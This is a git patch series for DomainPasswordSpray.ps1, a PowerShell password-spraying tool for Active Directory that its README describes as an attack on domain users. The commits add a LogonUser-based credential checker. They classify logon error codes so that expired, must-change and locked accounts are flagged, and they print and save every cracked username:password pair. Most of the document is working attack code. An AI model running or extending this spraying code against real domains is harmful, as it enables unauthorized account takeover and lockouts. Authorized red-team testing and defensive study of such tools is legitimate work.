From 71055b04827466442907ca3a202854e1c04bc089 Mon Sep 17 00:00:00 2001 From: LazyTitan <80063008+LazyTitan33@users.noreply.github.com> Date: Wed, 30 Apr 2025 13:04:10 +0300 Subject: [PATCH 1/5] It now finds expired passwords as well --- DomainPasswordSpray.ps1 | 122 +++++++++++++++++++++++++++++++++------- 1 file changed, 101 insertions(+), 21 deletions(-) diff --git a/DomainPasswordSpray.ps1 b/DomainPasswordSpray.ps1 index 596768c..9d9b74f 100644 --- a/DomainPasswordSpray.ps1 +++ b/DomainPasswordSpray.ps1 @@ -171,6 +171,7 @@ function Invoke-DomainPasswordSpray{ if ($UserList -eq "") { $UserListArray = Get-DomainUserList -Domain $Domain -RemoveDisabled -RemovePotentialLockouts -Filter $Filter + } else { @@ -497,6 +498,62 @@ function Get-DomainUserList return $UserListArray } +Add-Type -TypeDefinition @" +using System; +using System.Runtime.InteropServices; + +public class LogonUtil { + [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] + public static extern bool LogonUser( + string lpszUsername, + string lpszDomain, + string lpszPassword, + int dwLogonType, + int dwLogonProvider, + out IntPtr phToken + ); +} +"@ -ErrorAction Stop + +function Test-KerberosCredential { + param ( + [string]$Username, + [string]$Password, + [string]$Domain = $env:USERDOMAIN + ) + + $tokenHandle = [IntPtr]::Zero + $LogonType = 2 # Interactive + $LogonProvider = 2 # Use default (Kerberos if joined to domain) + + $success = [LogonUtil]::LogonUser($Username, $Domain, $Password, $LogonType, $LogonProvider, [ref]$tokenHandle) + + if ($success) { + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($tokenHandle) + return [pscustomobject]@{ + Username = $Username + Password = $Password + Domain = $Domain + Status = "VALID" + } + } else { + $errorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + $status = switch ($errorCode) { + 1326 { "INVALID PASSWORD" } + 1327 { "USER NOT FOUND" } + 1909 { "ACCOUNT LOCKED" } + 1330 { "PASSWORD EXPIRED" } + default { "ERROR $errorCode" } + } + return [pscustomobject]@{ + Username = $Username + Password = $Password + Domain = $Domain + Status = $status + } + } +} + function Invoke-SpraySinglePassword { param( @@ -528,38 +585,61 @@ function Invoke-SpraySinglePassword $count = $UserListArray.count Write-Host "[*] Now trying password $Password against $count users. Current time is $($time.ToShortTimeString())" $curr_user = 0 - if ($OutFile -ne ""-and -not $Quiet) - { - Write-Host -ForegroundColor Yellow "[*] Writing successes to $OutFile" + + if ($OutFile -ne "" -and -not $Quiet) { + Write-Host -ForegroundColor Yellow "[*] Writing successes to $OutFile" } + $RandNo = New-Object System.Random - foreach ($User in $UserListArray) - { - if ($UsernameAsPassword) - { + foreach ($User in $UserListArray) { + if ($UsernameAsPassword) { $Password = $User } - $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain,$User,$Password) - if ($Domain_check.name -ne $null) - { - if ($OutFile -ne "") - { - Add-Content $OutFile $User`:$Password + + $dnsDomain = ($Domain -split ",DC=" -replace "LDAP://|DC=" | Where-Object { $_ }) -join '.' + $result = Test-KerberosCredential -Username $User -Password $Password -Domain $dnsDomain + + if ($result.status -ne $null) { + switch ($result.Status) { + "VALID" { + Write-Host -ForegroundColor Green "[+] VALID: $($result.Domain)\$($result.Username)" + if ($OutFile -ne "") { + Add-Content $OutFile "$($result.Username):$($result.Password)" + } + } + + "PASSWORD EXPIRED" { + Write-Host -ForegroundColor Cyan "[!] PASSWORD EXPIRED: $($result.Domain)\$($result.Username)" + if ($OutFile -ne "") { + Add-Content $OutFile "$($result.Username):$($result.Password) # PASSWORD EXPIRED" + } + } + + "ACCOUNT LOCKED" { + Write-Host -ForegroundColor Red "[!] ACCOUNT LOCKED: $($result.Domain)\$($result.Username)" + if ($OutFile -ne "") { + Add-Content $OutFile "$($result.Username):$($result.Password) # ACCOUNT LOCKED" + } + } + + default { + if (-not $Quiet) { + Write-Host "[-] $($result.Status): $($result.Domain)\$($result.Username)" + } + } } - Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password" } + $curr_user += 1 - if (-not $Quiet) - { - Write-Host -nonewline "$curr_user of $count users tested`r" + if (-not $Quiet) { + Write-Host -NoNewline "$curr_user of $count users tested`r" } - if ($Delay) - { - Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + if ($Delay) { + Start-Sleep -Seconds $RandNo.Next((1 - $Jitter) * $Delay, (1 + $Jitter) * $Delay) } } - } function Get-ObservationWindow($DomainEntry) From ffd11a0723e53ae7fa1cacc109d2937bf286e0af Mon Sep 17 00:00:00 2001 From: LazyTitan <80063008+LazyTitan33@users.noreply.github.com> Date: Wed, 30 Apr 2025 13:52:29 +0300 Subject: [PATCH 2/5] find expired passwords and fresh accounts --- DomainPasswordSpray.ps1 | 28 ++++++++++++++++++++++++++-- 1 file changed, 26 insertions(+), 2 deletions(-) diff --git a/DomainPasswordSpray.ps1 b/DomainPasswordSpray.ps1 index 9d9b74f..eb88e69 100644 --- a/DomainPasswordSpray.ps1 +++ b/DomainPasswordSpray.ps1 @@ -431,7 +431,7 @@ function Get-DomainUserList # uac 0x10 is LOCKOUT # See http://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/ $UserSearcher.filter = - "(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=16)(!userAccountControl:1.2.840.113556.1.4.803:=2)$Filter)" + "(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=65536)(!userAccountControl:1.2.840.113556.1.4.803:=2)$Filter)" } else { @@ -541,8 +541,11 @@ function Test-KerberosCredential { $status = switch ($errorCode) { 1326 { "INVALID PASSWORD" } 1327 { "USER NOT FOUND" } + 1328 { "INVALID LOGON HOURS" } + 1329 { "INVALID WORKSTATION" } + 1330 { "PASSWORD EXPIRED"} + 1907 { "PASSWORD MUST CHANGE" } 1909 { "ACCOUNT LOCKED" } - 1330 { "PASSWORD EXPIRED" } default { "ERROR $errorCode" } } return [pscustomobject]@{ @@ -616,6 +619,27 @@ function Invoke-SpraySinglePassword } } + "PASSWORD MUST CHANGE" { + Write-Host -ForegroundColor Cyan "[!] PASSWORD MUST CHANGE: $($result.Domain)\$($result.Username)" + if ($OutFile -ne "") { + Add-Content $OutFile "$($result.Username):$($result.Password) # PASSWORD MUST CHANGE" + } + } + + "INVALID LOGON HOURS" { + Write-Host -ForegroundColor Cyan "[!] INVALID LOGON HOURS: $($result.Domain)\$($result.Username)" + if ($OutFile -ne "") { + Add-Content $OutFile "$($result.Username):$($result.Password) # INVALID LOGON HOURS" + } + } + + "INVALID WORKSTATION" { + Write-Host -ForegroundColor Cyan "[!] INVALID WORKSTATION: $($result.Domain)\$($result.Username)" + if ($OutFile -ne "") { + Add-Content $OutFile "$($result.Username):$($result.Password) # INVALID WORKSTATION" + } + } + "ACCOUNT LOCKED" { Write-Host -ForegroundColor Red "[!] ACCOUNT LOCKED: $($result.Domain)\$($result.Username)" if ($OutFile -ne "") { From 7d52734d577b1bf312199f0e56ed82c3796d62ec Mon Sep 17 00:00:00 2001 From: LazyTitan <80063008+LazyTitan33@users.noreply.github.com> Date: Wed, 30 Apr 2025 13:53:51 +0300 Subject: [PATCH 3/5] filter out locked out accounts --- DomainPasswordSpray.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/DomainPasswordSpray.ps1 b/DomainPasswordSpray.ps1 index eb88e69..fffc365 100644 --- a/DomainPasswordSpray.ps1 +++ b/DomainPasswordSpray.ps1 @@ -431,7 +431,7 @@ function Get-DomainUserList # uac 0x10 is LOCKOUT # See http://jackstromberg.com/2013/01/useraccountcontrol-attributeflag-values/ $UserSearcher.filter = - "(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=65536)(!userAccountControl:1.2.840.113556.1.4.803:=2)$Filter)" + "(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=16)(!userAccountControl:1.2.840.113556.1.4.803:=2)$Filter)" } else { From d83367f81a9fb6868d9fa674f62c974f0c9ff4bd Mon Sep 17 00:00:00 2001 From: LazyTitan <80063008+LazyTitan33@users.noreply.github.com> Date: Wed, 30 Apr 2025 14:24:04 +0300 Subject: [PATCH 4/5] output passwords in the terminal as well --- DomainPasswordSpray.ps1 | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/DomainPasswordSpray.ps1 b/DomainPasswordSpray.ps1 index fffc365..ba58450 100644 --- a/DomainPasswordSpray.ps1 +++ b/DomainPasswordSpray.ps1 @@ -606,42 +606,42 @@ function Invoke-SpraySinglePassword if ($result.status -ne $null) { switch ($result.Status) { "VALID" { - Write-Host -ForegroundColor Green "[+] VALID: $($result.Domain)\$($result.Username)" + Write-Host -ForegroundColor Green "[+] VALID: $($result.Domain)\$($result.Username):$($result.Password)" if ($OutFile -ne "") { Add-Content $OutFile "$($result.Username):$($result.Password)" } } "PASSWORD EXPIRED" { - Write-Host -ForegroundColor Cyan "[!] PASSWORD EXPIRED: $($result.Domain)\$($result.Username)" + Write-Host -ForegroundColor Cyan "[!] PASSWORD EXPIRED: $($result.Domain)\$($result.Username):$($result.Password)" if ($OutFile -ne "") { Add-Content $OutFile "$($result.Username):$($result.Password) # PASSWORD EXPIRED" } } "PASSWORD MUST CHANGE" { - Write-Host -ForegroundColor Cyan "[!] PASSWORD MUST CHANGE: $($result.Domain)\$($result.Username)" + Write-Host -ForegroundColor Cyan "[!] PASSWORD MUST CHANGE: $($result.Domain)\$($result.Username):$($result.Password)" if ($OutFile -ne "") { Add-Content $OutFile "$($result.Username):$($result.Password) # PASSWORD MUST CHANGE" } } "INVALID LOGON HOURS" { - Write-Host -ForegroundColor Cyan "[!] INVALID LOGON HOURS: $($result.Domain)\$($result.Username)" + Write-Host -ForegroundColor Cyan "[!] INVALID LOGON HOURS: $($result.Domain)\$($result.Username):$($result.Password)" if ($OutFile -ne "") { Add-Content $OutFile "$($result.Username):$($result.Password) # INVALID LOGON HOURS" } } "INVALID WORKSTATION" { - Write-Host -ForegroundColor Cyan "[!] INVALID WORKSTATION: $($result.Domain)\$($result.Username)" + Write-Host -ForegroundColor Cyan "[!] INVALID WORKSTATION: $($result.Domain)\$($result.Username):$($result.Password)" if ($OutFile -ne "") { Add-Content $OutFile "$($result.Username):$($result.Password) # INVALID WORKSTATION" } } "ACCOUNT LOCKED" { - Write-Host -ForegroundColor Red "[!] ACCOUNT LOCKED: $($result.Domain)\$($result.Username)" + Write-Host -ForegroundColor Red "[!] ACCOUNT LOCKED: $($result.Domain)\$($result.Username):$($result.Password)" if ($OutFile -ne "") { Add-Content $OutFile "$($result.Username):$($result.Password) # ACCOUNT LOCKED" } From 3b0e8546671f5e1bcd953f1c843332b8b57cb36e Mon Sep 17 00:00:00 2001 From: LazyTitan <80063008+LazyTitan33@users.noreply.github.com> Date: Wed, 16 Jul 2025 15:29:18 +0300 Subject: [PATCH 5/5] Update README.md --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 700c757..312ad67 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,7 @@ # DomainPasswordSpray + +UPDATE: This version now validates credentials based on LDAP codes allowing you to find expired passwords and others. + DomainPasswordSpray is a tool written in PowerShell to perform a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. BE VERY CAREFUL NOT TO LOCKOUT ACCOUNTS! ## Quick Start Guide